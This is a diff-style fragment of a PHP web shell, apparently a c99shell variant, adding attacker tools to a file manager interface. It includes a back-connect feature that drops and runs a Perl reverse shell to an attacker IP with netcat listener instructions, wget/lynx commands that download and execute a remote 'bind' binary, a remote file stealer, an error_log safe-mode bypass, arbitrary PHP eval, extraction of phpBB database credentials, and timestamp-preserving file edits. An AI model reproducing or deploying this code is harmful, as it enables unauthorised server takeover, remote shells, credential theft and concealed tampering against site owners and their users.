foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + + + + + + + ?> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Bind Functions By r57 </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"> + </div> + <form action="<?php echo $surl; ?>"> +<b>Bind With Backd00r Burner</b></br><form action="<?php echo $surl;?>"><input type=hidden name=act value=tools><select size=\"1\" name=dolma><option value="wgetcan">Use Wget</option><option value="lynxcan">Use lynx -dump</option><option value="freadcan">Use Fread</option></select></br></br><input type="submit" value="Burn it bAby"></form> + </td> + <td width="50%" height="83" valign="top"><center> + <center> + + + <b>Back-Connection :</b></br><form action="<?php echo $surl;?>"> <b>Ip (default is your ip) :</br> </b><input type=hidden name=act value=tools><input type="text" name="ipi" value="<?echo getenv('REMOTE_ADDR');?>"></br><b>Port:</br></b><input type="text" name="pipi" value="4392"></br><input type="submit" value="C0nnect ->"></br></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> + + </center> + </td> +</tr></TABLE> + + + + + + + +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>File Stealer Function Ripped fRom Tontonq 's File Stealer ... </b></a> ::</b></p></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center"><b>Error_Log SAfe Mode Bypass By Psych0 ;)</b> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + <textarea name="erorr" cols=100 rows=10></textarea></br> + <input type="text" name="nere" value="<?echo "$real\index.php";?> "size=84> + <input type="submit" value="Write 2 File !!"> + + </form> + + + + + + + + + + + + </div> + + </td> + <td width="50%" height="83" valign="top"><center> + <center> + <form action="<?php echo $surl; ?>" method="POST"> + <input type=hidden name=act value=tools> + Dosyanin Adresi ? = <input type="text" name="dosyaa" size="81" maxlength=500 value=""><br><br> +Nereya Kaydolcak? = <input type="text" name="yeniyer" size=81 maxlength=191 value="<?php echo "$real/sploitz.zip"; ?>"><br><br> +<input type=submit class='stealthSubmit' Value='Dosyayi Chek'> +</form> +<br><br><br> + + + + + </center> + + </center> + </td> +</tr></TABLE> + + + + + + + + + + + + +<?php + +if (isset($_POST['dosyaa'])) +{ +dosyayicek($_POST['dosyaa'],$_POST['yeniyer']); + +} +if (!empty($_GET['ipi']) && !empty($_GET['pipi'])) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + $blah = ex($p2." /tmp/back ".$_GET['ipi']." ".$_GET['pipi']." &"); +echo"<b>Now script try connect to ".$_GET['ipi']." port ".$_GET['pipi']." ...</b>"; +} +if (!empty($_GET['dolma'])) +{ +$sayko=htmlspecialchars($_GET['dolma']); +if ($sayko == "wgetcan") +{ + +myshellexec("wget $adires -O sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + + +} + +else if ($sayko =="freadcan") +{ +dosyayicek($adires,"sayko_bind"); +myshellexec("./sayko_bind"); +} + +else if ($sayko == "lynxcan") +{ +myshellexec("lynx -dump $adires > sayko_bind;chmod 777 sayko_bind;./sayko_bind"); + +} + + + + + +} + +if (!empty($_POST['erorr'])) +{ + + + +error_log($_POST['erorr'], 3, "php://".$_POST['nere']); + + + +} + + + + + + + + + +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") + { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") + { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") + { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) + { + $arr = explode("\n",$r); + if (count($arr == 18)) + { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {c99shexit();} + echo "</div>"; + } + elseif ($ft == "download") + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") + { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") + { + $inf = getimagesize($d.$f); + if (!$white) + { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) + { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else + { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") + { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";} + } +} +} +else +{ + @ob_clean(); + $images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". 